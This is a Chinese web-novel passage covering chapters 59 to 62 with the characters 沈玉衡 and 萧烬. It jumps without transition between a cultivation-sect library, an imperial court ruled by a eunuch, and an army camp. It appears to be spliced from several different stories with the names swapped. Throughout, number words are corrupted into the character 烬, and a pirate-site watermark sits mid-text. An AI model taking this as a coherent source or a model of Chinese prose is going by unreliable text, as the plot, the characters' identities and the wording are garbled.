平日门派里也有公用的藏书楼,只是那儿的书,都是要用弟子月供里的仙草仙丹交换的。 “不要紧,这都是掌门送我的,别人看不得,不用那些烂东西交换。” 沈玉衡在书柜前东翻西找,挑出几本上好的剑本,塞进了拘谨的少年手中。 “这些你先看着,再有喜欢的,再拿。” 萧烬草草翻阅了其中一本,纸卷发黄,内页破损,所记载的剑招却都是萧烬从未见过或领教过的本领。 又翻了剩下几本古籍,他的眼睛愈加发亮,好像都能从里面掉出星星来。 沈玉衡知道萧烬是最喜欢这些的。 萧烬爱剑,跟他爱酒的心情是一样的,离开剑和酒,就等于夺了他们生存的一大乐趣所在。 萧烬点点头,小心地收起剑本。 虽然还是处变不惊的那副面孔,但他眉目间的沟壑却柔和放缓了不少,足以显示出他心情的变化。 “谢谢。” “有什么好谢的?我是你师父,这些都是应该的。想要的话,以后再来,反正再往上面的书,都是你一个人的,谁也不能抢。” “……都是?” “这筑基以下的,我还有点别的用处,你要是在意的话,我就不拿了。” 萧烬摇摇头,“不会。” 这样好的待遇,怎么会再有意见。 他现在才敢确认,原来沈玉衡收自己为徒,当真不是随意玩玩的态度。 他伸出手,摩拭着剑本粗糙老旧的封面。 只给他,一个人吗? 萧烬想起沈玉衡说过,他和别人不一样,只有他可以…… 他自己都不明白,他到底有什么特别,但也许对于这个人来说,有什么特殊的理由? 此时的沈玉衡,并不知他心下万千触动。 他轻快地大步下楼,又在炼气一层和筑基二层驻足停留,总共挑了三五本书,都是那种一看就沉甸甸的大厚书。 萧烬有些好奇:“师父拿这些书做什么?” 沈玉衡一时回答不上来,想了想,道:“去做慈善。” “背完这些剑本,再没天赋,都能筑基了吧。”沈玉衡抱起其中一本,随意翻看了几下,“你瞧这作者写的多好,还给配图!是条狗都得看懂了!” “萧烬,你也帮我挑挑,看哪些书是脑筋不好的人也看得懂的。” 萧烬被他使唤来使唤去,大半天下来,从书楼到上青峰的破屋,来回搬出了不少书。 沈玉衡最后一次出来时,绕开破屋,径直走向了方才人群聚集的空地。 空地上,零零散散坐着几个恍惚茫然的小娃娃。 啪。 小娃娃的脸上被猛地砸上了一本厚书。 书本从脸上滑落,露出了娃娃震惊的表情,和一行鲜红的鼻血。 这遭的什么罪!被门派丢了还得被打! 软糯糯的小脸刚要皱起来哭,就看到沈玉衡颇为不耐烦地把其他书也扔了过来。 “拿去拿去,自己看,看不会滚蛋,看的会留下。” 无处可归的孩子们翻书一看,发现竟然是修炼的心法,心里都乐了。 他们这些留下来的,都是些最好欺负的软柿子,入门时的筑基心法给人撕了或丢了,丹药仙草又给人抢了,整个人就是个光板板,被剥削的一干二净,毛都不剩。 出身贫户,仙途走不下去,老家的父母也供不起他们这些正值青春,一顿三碗米的大嘴巴。一时间,前途成了最大的问题。 手段虽然是粗暴了点,但他们也隐隐察觉到,眼前这位被诟病多年的峰主大人,将是他们唯一能依仗,想回报的恩人了。 软柿子们纷纷俯下身子,连连叩首:“多谢峰主!多谢峰主!” “别磕了,又不是白给的。” 众人心中又一凉。 传闻沈玉衡为凡界的舞姬们挥金如土,难道是要他们付钱? 他们个个一穷二白的,看向怀里抱着的这么多书……肯定是付不起了。 哎,还是得。 “你们都给我快些修炼,我平时不回来住,帮我把这上青峰看好了——不许有任何外人上山,更不许乱翻我的屋子,特别是,仙鸣峰项逐天那帮人。” 沈玉衡特意强调了后面半句话。 为了他这辈子不会再遇上屋里被塞毒.药陷害的破事,早做准备,不会错。 一个小女孩举手:“可,可万一他们非要上山呢?” “擅闯门派要地,尽管往死里打。” “……” 左右权衡。 一不要钱财,二不要仙草,娃娃们立刻觉得这是件大便宜,纷纷答应下来。 “真要留?留下来,可就不能随便走了。” 小弟子们面面相觑。 在威逼利诱下,他们只得承诺绝对不离开,否则天打雷劈,被白长卿拿剑追杀十里地。 ……他们不是受益的吗?怎么看上去像是被强迫似的! 但谁也没多留心,接下了这桩绝对不亏的买卖。 看着这些门派弟子们乖顺无害的样子,沈玉衡放心了。 好,又一件破事解决。 沈玉衡伸了个懒腰,打算回屋里小歇一会。 本想小酌两杯,再去来一个舒舒服服的午睡,可在萧烬时不时投过来的微妙眼神下,他实在是没什么睡意。 “萧烬,有什么事吗?” 萧烬抿了抿唇,问出了他心中一直藏着的那个问题。 “剑本……师父为什么不拿呢?” 偌大一个书楼,那样多的稀世孤本,他拿了一些,那些人拿了一点……可为什么师父偏偏略过了他自己呢。 沈玉衡反问:“拿了做什么?修仙?” 萧烬正色道:“道生万物亦养万物,为君子,志在得道飞升。” 这是所有修仙者谨记于心的真言。 “得道飞升,化身真仙,那之后呢?如果是要永恒的青春和强大的生命,还不如修炼成王八精。” 沈玉衡晃了晃手中的小杯,透明的琼浆回回荡荡,几番波折,还是无法逃脱银白色的杯身。 仅仅是下意识的,萧烬想要反驳他,却发现自己无话可说。 是啊,那之后……呢? 从也没有人告诉过他,这个问题的答案。就好像飞升真仙,就是他们一生的终点,是他们千年悟道的结局。 沈玉衡单手撑在桌上,专注地注视着萧烬的每一丝变化。 “想不明白?” 他希望萧烬能自己去想,去找寻到他真正想要得到的事物,即便那个答案仍是修成真仙也不要紧。 只要是萧烬内心真正所向的,他都会助他得到,不论是什么。 因为这是他欠他的。 萧烬数次想要开口,最终却都戛然而止。 他摇摇头,“不明白。” “想不想去凡界看看。” “凡界?” “这儿附近,有个凡界的地方叫平京城。”沈玉衡将手覆在他冰凉的手背上,“去看看真正的凡人和你的差别,可能就有答案了也说不定。” “我之前……做过这些事,有一点经验。” 萧烬那边沉默了很久,同样不那么顺畅地回答了他。 “母妃……想来就来吧。” “……嗯。” 两人一时都不会说话了似的,好像每个字都要斟酌很久。 夜色重新归于寂静,少年停在他腰上的手犹豫了一会,不肯抽回去,但也没有继续抱住他。 沈玉衡回忆起自己今天收到的那封信。 今年的雪尤其大,京城外已成了一片纯白的世界。岳枫的粮草断在了路上,那么多的人困在山里,可能会死很多人。 他还记得萧槐当初在养心殿时,自己跟着他,见过一卷地图。 第 60 章 第 60 章 60 翌日,萧烬派人,领他去了养心殿。 时候还早,萧烬上早朝时,沈玉衡决定在里面转转,确认好地图的位置。 假装没看见这群鹰犬锋利的目光,他径直去了书房。 书房留存着一些萧槐收藏的佛经,古籍,许多都是传世的孤本。 见他随手拿起一本古籍翻看,死士们立刻开始蠢蠢欲动。 等他把书放回去后,立刻有人来检查,他是否在书里动了什么手脚。 沈玉衡和萧烬到时,朝官已经都到了。 除却朝官,还有他那几位兄长。他顶上还活着的兄长一共有十二位,其中三位在边关,两位因一些事儿被贬,已经从玉牒中划去了名字,剩下的七位,最低也是个郡王。 最高的则是皇后所出的十皇子殿下,如今被封亲王。 大乾的亲王也有几个,说他位置高,是因为皇后母族薛氏,有一位宰相在如今朝中,还有一位任户部尚书,至于那些小些的官职……要细究起来,肯定也有些是他们家族里出来的。 要不是本朝有明文规定,文武分家。 意思便是一家人出文官就不出武官,只怕薛家还能出几位武官。 故而,十皇子殿下是他们这些皇子里靠山最大的。 但萧烬不选他,选了沈玉衡,就意味着沈玉衡才是那个靠山最大的。 因为兵符,在萧烬手里。 谈不得那些将士们服不服萧烬,主要是萧烬少年时被夏士诚瞒了阉人身份,丢去了锦衣卫,又去了京中。 大乾往北的冬戎,自沈玉衡的父皇即位起,就常常骚扰边境,派了数位将士去都无用,还惹人讥嘲,还是萧烬亲手拉着战马的缰绳,领着五千精兵打过去,如今便老老实实年年朝贡。 就说这,叫人怎么能跟他说句不服。 即便是他的政敌,薛相也常常感慨,若是萧烬并非阉人……可惜可惜。 在掌印太监一职设下前,朝臣们只需要跪皇帝,如今却还要跪阉人。 甚至因为沈玉衡尚且只是太子,所以在他们跪完萧烬后,还是起身后才半弯下腰道一声:“太子殿下。” 沈玉衡还是走在萧烬前头的,他的目光落在那把高台的龙椅上,走了两秒的神。 他现在还不能坐龙椅,但有太监搬了张长椅横在高台前。 来时路上萧烬跟他说过了,到了后直奔那张长椅坐下就好了。 沈玉衡是坐下了,可他没想到,萧烬也跟着坐下了。 他见其他人没有诧异,便知他父皇不能上朝的时日,只怕都是萧烬坐在这儿。 沈玉衡不动声色地往旁侧挪了挪,叫两人交错的袍角少了些。 “你们有事的就奏报吧。” 萧烬发话了,才有人拿着笏板上前。 他们奏报的都不是什么大事,就是这七日堆积的事务,但沈玉衡听得很认真。 他一言不发地低着头望着光洁的地面,就听萧烬说话,看着好像个呆愣的傀儡太子,让好些朝官忍不住在心里叹气。 等到一圈下来,也安静得差不多了,萧烬就扬扬眉,背靠在摆在靠背前的软垫上,闲适地不像来上朝的:“没了?” 朝官们摸不准他是什么态度,就见他轻嗤了声,手好像闲不住似的,勾了一下沈玉衡的发丝,慢声问:“没人问户部侍郎的事儿?” 沈玉衡微顿,一时间也忘了在心里默默计较一下萧烬当众玩他头发的事儿。 户部侍郎…什么事? 殿内安静半晌,还是户部尚书在看了眼前头的家主后,站了出来:“千岁爷。” 他低声道:“臣昨日与底下几位侍郎说今日寅时在臣家中敲定今日早朝事务,但杜侍郎杜肇未至,如今这殿内也并未见到杜侍郎,不知杜侍郎可是犯了什么过错,被谁拿下了?” 萧烬扬扬眉,话是他提起的,他却反问:“你问我?” 薛尚书迟疑了一秒,还是道:“只是想问杜侍郎是去办差,还是出了差错。” “…数月前我说东厂里那个玉石盆景缺了一角,要放回国库修复,挑尊新的、寓意好的过来,这事最后交由他去办的。” 户部管国库,这差事最后落在户部也很正常。 萧烬似笑非笑:“他却挑了盆俗气至极的金元宝蟾蜍,那金蟾蜍又丑又肥,身子底下不仅堆了山似的金元宝,嘴里还要含着……我们东厂是什么地方?是商铺吗?!” 萧烬说到最后一句时,松了沈玉衡的手,手肘撑在膝盖上,倾着身子,盯着眼前的薛尚书,语调又突然缓了下来,笑吟吟的:“薛尚书,你说他这是不是嘲讽我们东厂俸禄高,说我们敛财?” 没人敢答。 他这话出口,谁都知晓,杜侍郎定是被抓到东厂去了。 怕是早在里头被折腾得没了命。 沈玉衡的呼吸都不自觉地紧了几分,他从前看书中说,伴君如伴虎,他那时没见过皇帝,没见过他的那位生父,还不知是何意。 现下他却明白了。他在萧烬身侧明白了。 而在寂静后,萧烬猛地抄起手边的茶杯,对着薛尚书的脚边就摔去。 以他的本事,堪堪擦过显然是故意的。 茶盏破碎的那一刻,所有人都跪了下来,无论是王爷还是宰相都不例外。 在这里的,只有沈玉衡不清楚,萧烬究竟有着怎样的手段。 他能容许薛相作为他的政敌存在,不过是因为薛相哪怕会偏帮薛家,可确实有些本事才烬,也为民做过事,朝廷需要这样的大臣。 都不知道该不该说庆幸,萧烬虽然暴戾,但不沾昏庸。 甚至大乾没败在沈玉衡的父皇手里,都是因为后来夏士诚挑中了萧烬,萧烬生生撑起了后半程。 “拟旨!” 他一声落下,身后的太监就立马捧着草纸上前准备草拟一份圣旨,回头再交由内阁誊抄。 “户部侍郎杜肇,当差办事不利,五马分尸,抄家、流放。” 沈玉衡克制着自己的表情,才没有让自己瞪大眼睛去看萧烬。 而萧烬继续道:“流放岷越,其族人十年不许考取功名。” 岷越……? 怎么偏偏是岷越? 沈玉衡怔了下。 一般流放都是发配北地,那儿苦寒…… “…千岁爷。” 从早朝开始时就沉默不语的薛相到底还是出来了一步:“办事不利,革职就是了,抄家流放,未免太过。” 他又冲沈玉衡微微示意:“太子也是此意吗?” 萧烬没说话,而是对着沈玉衡抬抬下巴,示意他开口。 沈玉衡:“……?” 说好的我不要说话呢? 他看了眼萧烬,瞥见他眸中冰冷的兴味,也不知怎的,就约莫猜到了点,是这人心情不好,在这儿拿他找乐子。 他微抿唇,到底还是开口了:“…薛相。” 沈玉衡说这两个字时,就感觉到好像有无数视线落在了他身上,他悄悄攥紧了手边的袍角,原本有些微涩的声音,因为缓慢的语速逐渐坚定:“厂公的意思便是…本宫的意思。” 他差点,就说“我”了。 薛相似乎是看了他一眼,那一眼里还带着深深的探究。 却又似乎是沈玉衡的错觉,反正他再没说什么,而是拱拱手,默默地退了回去。 之后便再没什么事,退朝后,萧烬没急着起来,沈玉衡便也没动。 等人都散了,留下的只有赵宝和其他几个太监外,萧烬这才开口,逗了沈玉衡一句:“太子殿下可有腿软?” 沈玉衡:“……” 他觉得自己的一些自尊心又被挑衅到了:“没有。” 他说着,还要站起来,但被萧烬按住了肩膀:“逗你呢。” 沈玉衡被他语气里的亲昵震住,一时间没有言语和动作。萧烬也不在意,只问了他一句:“怎么刚才那样说?” 沈玉衡知道他是问什么,但又不明白他为何要这么问。 他有几分困惑:“我与厂公是一条绳上的蚂蚱,其他皇子都有自己的母家、支持者,而我只有厂公。” 这是发自内心的。 他想要活下去,只能依靠萧烬。 萧烬稍挑眉:“只是因为这个?我看你心也是个软的。” 他说这话时,抬起了另一只手,食指隔着衣物,精准无误地抵在了沈玉衡的心脏那一块儿,惹得沈玉衡不由微绷了一下。 萧烬却完全不在意,甚至有些看好戏似的睨着他:“却对我的旨意没意见?” 沈玉衡抿着唇,一时间不确定萧烬是什么意思。 是想听他用别的话术把上头那话再复述一遍,还是…真的想听他的想法。 萧烬捕捉到沈玉衡的纠结,笑得更深。 他很喜欢看沈玉衡这样在求生缝隙中挣扎的样子,会叫他觉得这破烂世界也不是那么无趣。 所以他乐得看沈玉衡去思考琢磨他的心思。 沈玉衡轻轻呼出口气,到底还是下定了决心:“…因为岷越。” 他低声:“半年岷越那边洪灾一事闹得很大,宫里都有些流言,我后来又在册子上瞧见户部负责赈灾银子的是杜肇……厂公方才又特意提了那蟾蜍不仅身子底下全是金元宝,嘴里也是,我就想,厂公不是为一个盆景罚的。” 虽然他也觉得萧烬罚得太重,杜家总有无辜之人,但至少萧烬不是真的因为一盆盆景。 只是沈玉衡不明白,萧烬为何不明说。 他回完这段话后,萧烬也安静了下来。 场面是突然就微妙的,也导致沈玉衡不自觉地微微紧绷。 他…不该说那些、不该展露自己有关注朝政,不该聪明吗? 沈玉衡鼓起勇气看了眼萧烬,就对上萧烬垂着的眼眸。 说不出来是什么情绪,但瞧着是没有生气的,就是定定地看着他。 沈玉衡和他撞上视线的刹那,就立马低下了眼,也就是他避开目光时,便听见萧烬终于开口:“你以前在宫中常走动?” 不是生气的语调。 沈玉衡放松了点:“…我是被忘了,不是被禁足。” 萧烬笑了声:“也是。” 他松开沈玉衡,却又勾起了沈玉衡的发丝。 萧烬喊了他一声:“殿下。” 沈玉衡看向他。 萧烬捻着手里的发丝,好像只是随意提了一句:“我记得你。” 他确实记得。 不然也不会把沈玉衡从角落里挖出来,当时问沈玉衡叫什么名字,也只是想确定这个皇子的性子。 沈玉衡眼睫微微颤了下。 他其实知道,萧烬虽然看着好像目中无人,但其实无论是哪个官,他都能背出来。 所以他记得他,纯粹是因为他的“职责”和喜欢掌控全局的性子。 可他……还是会高兴的。 哪怕有目的和原因,他也依旧会高兴。 沈玉衡低声:“嗯,多谢厂公。” 萧烬微顿,心尖比刚才听沈玉衡说那番话更加痒了。 还有多久来着? 要不不守算了吧?反正夏士诚也是利用他,他的小野草对皇帝老头也没什么感情。 但萧烬是何等人,忍耐、克制,是他学会的第一件事。 故而他半点情绪都没泄露出来,只是笑了下,就起身:“那便用早膳吧。” 他还说:“你明日可以睡迟些,早朝不是天天上的。” 沈玉衡:“……” 在萧烬眼里,他贪睡的形象估计是改不过来了。 刚一走出清濯殿,成霄就看到面前的宫墙上站着一个年轻的死士。 那封岳枫寄来的信,次次都由他悄悄潜入,抄录副本。 这次这一封信,也是被他拦下,杀人越货才抢来的。 然而把信件呈给萧烬的人,却是成霄。 年轻的死士怨恨不满地瞪了一眼成霄,默默藏回了夜色中,一副迟早要找他复仇的样子。 成霄默默叹气。 这群年轻的死士,永远不懂他们在服侍一个什么样的主子。 他哪里在抢功,他是在救他们的命才对……魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第 61 章 第 61 章 61 翌日沈玉衡醒来后,听姚芝说,莲阁昨夜走水了。 原以为只是烧了些老旧的陈设,没想到过去一看,才发现火势凶猛,整座莲阁已经烧成了一座漆黑的废墟,飘出阵阵刺鼻白烟。 那些萧槐精心挑选出的砖瓦琉璃,按照八卦星象设计好的繁复图案,道路,全都烧的干干净净。 “……本来也不是什么好地方。”苏澄想安慰他,小声说:“以后我们再找其他地方读信吧。” 沈玉衡默默点头。 莲阁毁了,他倒也没有多可惜的意思,毕竟这里带给他的,更多的还是糟糕透顶的回忆。 只是看到这片的废墟,让他隐隐有种不安的预感。 他亲手埋下了一枚危险的种子,从此开始害怕雨露和阳光,怕它破土而出的那一天。 像是为了印证他的不安,不好的事情果然接二连三地发生。 回到清濯殿,姚芝一脸紧张地告诉他,为他们送信回宫的信使遭遇匪徒,惨遭杀人越货。 “那封密信……要是那群贼人有心,发现了异样……” 姚芝忧心忡忡。 她派人在全城暗中搜寻了好几圈,几乎快把京城翻了个底朝天,也没能找到那群劫走密信的匪徒。 她只会安慰沈玉衡,或许他们已经带着赃物逃出京城了。 几日过后,岳枫的信又到了。 沈玉衡立刻到苏澄那儿读信,急于确认信里的内容。 他最近总在夜里惊醒,心脏好像被一只手狠狠掐出洞,渗出的血液里流淌着强烈的不安。 信里,岳枫先是询问他上一封信提到的事情。 沈玉衡也拿起第一份册子,跟萧烬分析起蒋百夫长的招式,并借自己梦中后来的经验,提一些见解和拆招的办法。 营帐内人多嘈杂,他说话声音不大,有时会被盖住。 几次之后,他干脆拉着凳子,坐到靠萧烬近些的位置,身体也微倾靠近,好似挨着。 萧烬瞬间僵住,沈玉衡的忽然靠近,令他心脏一紧,瞬间乱了节奏。 他僵着不敢动,生怕稍微一动,就会碰到对方,做出冒犯的举动。但视线却忍不住轻轻看向旁边,鼻间似乎能闻到对方身上的浅淡药香。 沈玉衡仍低头在讲解,干净漂亮的食指指着册子上的小人,侧脸轮廓清丽,眼睫浓长纤翘,偶尔随着他说话轻颤,耳廓皮肤纤薄,白玉似的耳垂上有一颗小痣…… 忽然,沈玉衡停下讲解,转头看过来。 萧烬猝不及防,视线被抓个正着,一时怔住。接着耳后阵阵发热,紧张得手脚都不知该如何放,心中也忍不住懊丧。 沈姑娘定会觉得他轻浮。 他懊丧地想,视线也不敢再看对方,下意识飘向别处。 沈玉衡只是讲了半天,没听见他回应,才抬头看他。此刻见他好像在发呆,有些神游天外,不由一阵无言。 “你刚才在听吗?”他探身问,距离又近了几分。 萧烬呼吸微滞,身体不由微微后仰,僵着手脚更不敢动,声音干涩:“听、听了。” 沈玉衡:“……”感觉不太像在听的样子。 他不由叹气,虽说起初想找一个有点呆,不那么聪明的人成亲,但萧烬最近发呆的次数未免也……有点多。 身体退回原来位置,他摇摇头,拿起小册子,决定再给对方讲一遍。 萧烬见他拉开距离,终于舒一口气,只是又微微失落,直到沈玉衡再次讲解,才终于收回神思。 这次他终于在认真听,时不时也说一些自己的想法。 不知不觉,时间过去快一个半时辰。 沈玉衡听旁边有伤兵说该用飧了,才发觉已至傍晚,忙放下册子,起身道别。 萧烬紧跟着站起,要送他。经过陈青床边,顺手又拿走木拐。 陈青对他这种行为已经习惯,不想说什么,倒是忍不住打趣地多看他和沈玉衡两眼。 其他伤兵躺在床上,一个个装得正经,其实有不少人也忍不住用余光偷觑。 谁能想到,伤兵营里那个之前昏迷多日,被军医都判了“死刑”的穷小子,居然要娶他们这最好看的沈姑娘了。 几个年轻伤兵羡慕得酸溜溜,又忍不住用目光揶揄萧烬。 萧烬察觉他们在看,忽然转头,面无表情地扫众人一眼。 啧,没趣。 大家忙收回视线,继续假正经。大约是相处久了,都知道他只是性子冷,不喜交流,人其实不坏。 萧烬和沈玉衡一道走至营帐外,天边夕阳渐垂,寒风渐起,余晖似乎也变成了冷的。 沈玉衡抬手遮眼,看向天边那片冷橘色。 萧烬顺着他的视线也看过去,没看出什么特别,迟疑一下问:“沈姑娘,你……明天什么时候来?” 说完,他有些紧张地等答案,他想明天早点到营帐外等对方。 沈玉衡听了,却陷入沉默。 再过两天,就是寒毒发作的日子,除了发作当天寒冷难忍,前后两天也会畏寒。 他已经决定要装病几天,假装是风寒加重,原本打算等装病后,再让人跟萧烬说,接下来几日他来不了。 但此刻对着萧烬的眼睛,他迟疑了一下,却没隐瞒,说:“我接下来几日有事,可能来不了,到时让胡圆儿给你送药。” 萧烬听了,目光不由暗淡失落,但很快又捕捉到关键字眼——接下来几天? “几天”是几天? 军中大比就在三天后。 “军中大比那日,你会去看吗?”萧烬不由又问,语气多了分自己都没察觉的急切。 沈玉衡再度沉默,大比正好是寒毒发作后的第烬日,那时他应该仍体虚畏寒。 但对上萧烬期盼的眼神,他却忽然笑了笑,道:“这么重要的事,我当然会去。” 萧烬仿佛心中压着的石头落下,忍不住松一口气,但紧接着,又想到什么,迟疑问:“会不会耽误你……” “不会。”沈玉衡摇头打断,依旧笑道,“这可是关乎我们能不能顺利成亲的事,没什么比这更重要,我不去也不放心,还有……你一定要赢。” 萧烬不觉耳后又红,哑着声音保证:“我会的。” 顿了顿,他目光坚定,又重复一遍:“你放心,我一定会赢。” 沈玉衡一愣,随即笑着朝他点头,道别离去。 萧烬一直目送他身影转过不远处一座营帐,终于彻底消失,才依依不舍地收回视线。 他拄着拐,微瘸地走回营帐,刚进去,就听见一阵起哄声。 “哟——站在外面这么久,你跟沈姑娘都说什么了?” “还用问?肯定是互相不舍的话!” “萧烬,你没趁机牵个手什么的?” 有混不吝的,直接起哄喊。 萧烬:“……” “无聊。”他面无表情,拄着拐往里走,耳根已是红透. 沈玉衡回去后,就开始假装咳嗽,风寒加重。 之后两天,他都躲在药房烤火,没有外出。胡圆儿每天会帮他把煎好的药拎去伤兵营,送给萧烬。 第三天,到了寒毒发作的日子。沈玉衡一早就喝下之前煎好、能压制寒毒的汤药,躺在床上裹紧被子,忍受阵阵侵入骨髓的寒意。 胡郎中知道他病重,特意来看过,叮嘱他暂时不用管药房和伤兵营的事,专心养病就行。 知道他起不了身,还帮忙去打了些饭菜来。 沈玉衡没胃口,叮嘱胡圆儿记得帮忙把药送给萧烬。等胡郎中爷孙俩离开,他便再也克制不住,缩在被子里打颤。 幸好有压制的药,否则他真不知该如何熬过这一天。 以前还和父亲住一起时,每月到了这时,父亲就会将他连被子一起紧紧抱在怀中,哄他入睡。 如今却无人能哄他了。 他咬紧牙关,默默练习起游医教的吐纳法,期望能缓解些。 …… 给萧烬的汤药是昨夜就煎好的,胡圆儿按沈玉衡说的步骤热一遍,便拎着去伤兵营。 陈青见今天来的又是他,不由捏捏他圆乎的肉脸,问:“小娃儿,怎么今天又是你?沈姑娘呢?” 胡圆儿一扭头,挣开他的手,道:“最近药房事多,我爷爷让沈姐姐在药房忙。” “什么事能忙这么多天?”陈青嘀咕,下意识看不远处的萧烬一眼,心道:沈姑娘再不来,有人就快变成望妻石了。 胡圆儿摇头表示不知,实际却想:我当然知道,沈姐姐是病了,而且病得已经快下不来床了。 不过沈姐姐不让说,他就不说。 他边想边从食盒拿出汤药,小心递给萧烬。 说实话,他有些怕这个人,因为对方总是冷着脸,不苟言笑,看着很凶。 不过,想到沈姐姐都病成那样了,还不忘给这人煎药,又让他带话给对方,让对方好好准备大比…… 胡圆儿咬咬牙,忽然挺直小身板,鼓起勇气道:“那个,萧姐夫,你可一定要好好努力,赢了大比,不要辜负沈姐姐的期望。” 萧烬端着汤药,刚要喝,忽然顿住,乌黑眸子看向他,重复:“姐夫?” 胡圆儿顿时气势一矮,怂道:“……我爷爷把沈姐姐当孙女辈,我管她叫姐姐,不就……该管你叫姐夫吗?” 萧烬:“……” 他唇角忍不住勾起,道:“你说得对。” 几口喝完汤药后,他搁下碗,去陈青那搜罗来一颗蜜枣,递给胡圆儿,又问:“你沈姐姐还说什么?” 陈青已经见怪不怪,直接漫天开价:“一个铜板啊。” 胡圆儿一听这么贵,顿时不敢拿,被硬塞进嘴里后,不由觉得这个冷脸姐夫还怪好的,含糊道:“沈姐姐还说让你不要去找她,她最近比忙,你去了,她也不一定在药房。” 一番话,瞬间打消了萧烬想去药房的冲动。 ……他听沈姑娘的。 萧烬缓缓垂下眼睑。 只是心还是悬着,总觉得放不下。 细绳上残留着一点干涸的鲜血,他捻下来放在指尖,成了铁锈味的红色渣滓。 连成霄也愣住了。 地图里,他做过的标记已然消失——有人打开过它。 萧烬忽然笑了。 成霄几乎惊恐地睁大瞳孔,萧烬的笑声实在听着太畅快,也太过异常,令他背后一瞬间浸满了冷汗。 鞠躬尽瘁侍奉他十余年的成霄,也从未见过如此失控发狂的萧烬。 那个穿着龙袍,生生从卑贱的深渊爬向皇位的他,对一切都淡然轻蔑,好像对人间的悲喜早已麻木。 这或许是他第一次发自内心的笑。 笑声逐渐沙哑,断续,最后消失在一片死寂里。 再无一点回音。 第 62 章 第 62 章 62 成霄赶往偏殿时,里面的床已经冷了。 看见沈玉衡消失,他心里暗道一声不妙,但侍奉与看守的宫女说,他只是去了邻近的苏澄那儿。 成霄也不明白自己在害怕什么。 只是自己的主子……他或许已经到极限,无法承受沈玉衡再一次消失的可能性。 越过那道极限,萧烬又会变成什么样。 没有人知道- 还剩一万九千一百三十五天。 蒋百夫长身形高大,昂首阔步,来到帐前站定,一双虎目扫向帐中,再度开口:“到底哪个萧烬?” 营帐内一片安静,几个刚要出来的伤兵也下意识退了回去,无人敢应声。 “都哑巴了?”蒋百夫长又喝。 他身量高,嗓音洪亮,喝起来时,声音竟有些震耳。 周遭仍无人敢说话,几个曾被他“教训”过的伤兵,甚至下意识缩了头。 直到身后的徐洪扯扯他衣服,指着坐在营帐门口位置的萧烬,压低声音道:“百夫长,他就是萧烬。” 蒋百夫长一双利眼立刻看过去—— 萧烬稳稳坐在帐门口,不紧不慢地吃饭,仿佛对周遭发生的一切无所觉。 蒋百夫长大跨步上前,眯起双目,俯视道:“你是萧烬?” 萧烬仿若未闻,仍不紧不慢地吃饭。 蒋百夫长:“就是你要跟沈玉成亲?怎么,我之前放出的话,你没听到?” 营帐众人闻言顿时震惊,萧烬竟然要跟沈姑娘成亲?他可……真敢啊? 张河不禁敬佩他的胆量,加上沈姑娘是自己的恩人,萧烬这么做,明显是帮沈姑娘,敬佩之余,又多了几分感谢。 陈青此时也瘸着腿,站到人群后,闻言更是惊得眼珠子险些掉出来——萧烬竟然要和沈姑娘成亲?这小子的美梦还真让他给实现了? 营帐门口,萧烬仍像什么都没听见,依旧吃饭。 蒋百夫长终于怒道:“怎么?你是聋了还是傻子?听不见还是听不懂?” 说完见他仍不理会,忽然猛一抬脚,踢向饭盆,口中骂道:“什么狗食?真是低贱的人,就配吃低贱东西!” “哐当”一声! 军营专为伤兵做的稍微有些油水荤腥的好饭,就这么连盆一起摔在满是泥土的地上,连同那颗萧烬一直没舍得吃的鸡蛋——光滑的蛋白摔裂开,在地上滚了一圈,沾满尘土。 萧烬目光紧紧盯着那颗滚动的鸡蛋,直到它停下,视线也跟着停下,五指渐渐捏紧。 “嗤,一个穷酸小兵也敢跟我抢,没把我之前的话放在耳中是吧?”蒋百夫长仍在嘲讽,转头对徐洪、牛峰烬人道,“你们两个,把他给我带走,此人目无军纪,无视长官,我要亲自教教他军中规——” 话未说完,忽觉身旁萧烬站起,蒋百夫长转回头:“怎么——” 音还未落,一记狠厉拳风直袭面门。萧烬周身气势冷厉,出手迅如闪电。 “百夫长小心!”身后徐洪烬人忙喊。 蒋百夫长也不是废物,忙侧身闪避,但拳风来得更快,他只闪到一半,就被一拳砸在脸上,登时剧痛袭来,嘴角破裂。 蒋百夫长痛得“啊”一声,神情怒极,刚要还手,却又被一拳砸来,比方才力道更重。他甚至不及反应,就被这拳撂倒,疼得眼冒金星。 萧烬神色冷厉,骤然俯身,眼中带着森冷寒意,目光骇人。他一把抓住对方头发,手似铁爪,将头一把扯起,接着又猛地贯下,重重砸在地面。 “咚!” 霎时,蒋百夫长眼前一黑,脑后的血很快浸湿头发。他本能抬脚去踹,刚好踹到萧烬腿伤。 萧烬闷哼一声踉跄,被蒋百夫长寻到契机翻身,两人很快扭打在一起,你一拳我一脚,招招狠厉,竟都是冲着要命去的。 眨眼间,两人已连过十几招,后面的徐洪、牛峰这才反应过来,忙拔刀上前欲帮。 “干什么?你们干什么?”张河见状忙喊,“他们打架,你们拔刀,怎么,欺负人啊?” 萧烬余光也看见烬人动作,立刻右腿一绞,将蒋百夫长带到,出手迅速扼咽喉。但蒋百夫长也连带将他拽下,双指如勾,直取眼睛。 萧烬丝毫不避,目如寒星。 他喘着粗气,无视将要上前的徐、牛烬人,直直盯着蒋百夫长,语带鄙视,说出那句沈玉衡之前说过的话:“怎么,你就这点能耐,只敢仗着人多的时候出手?” 蒋百夫长闻言怒极,面色红涨,手也停住。 萧烬又继续:“你要真有本事,不妨等到大比时,我们到校场上较量,看到底谁厉害,谁……更有资格娶沈姑娘!” 他喘着气,神情俊冷,额上的血流下遮住眼睛,目光却如燃烧火炬,一字一句说出那句心中真正想说的话。 张虎这时也匆匆赶到,见蒋百夫长手下两人都已拔刀,萧烬虽略占优势,但弯刀仍在腰间,恐不及拔出,忙道:“营中禁止械斗,你们这是要公然违抗陈将军的命令?” 蒋百夫长死死咬牙,目眦欲裂,怒瞪上方的萧烬。 今日吃了这么大个亏,他自是不想善罢甘休。但他又极为自负,觉得在这营中,他身手能排第三,也就他大哥和陈将军能排前烬,至于眼前这小子,不过是靠刚才偷袭,打了他一个措手不及,才略占上风。 正如沈玉衡所说,此人极好面子,当着这么的多人的面,自不愿意承认自己只能仗势欺人,且营中的确不准械斗…… 想到这,他咬咬牙,对徐、牛烬人道:“你俩退下。” 徐洪、牛峰听他这么一说,神情犹豫着收刀。 萧烬见状,双眸微眯,也渐渐松开锁着他咽喉的五指。 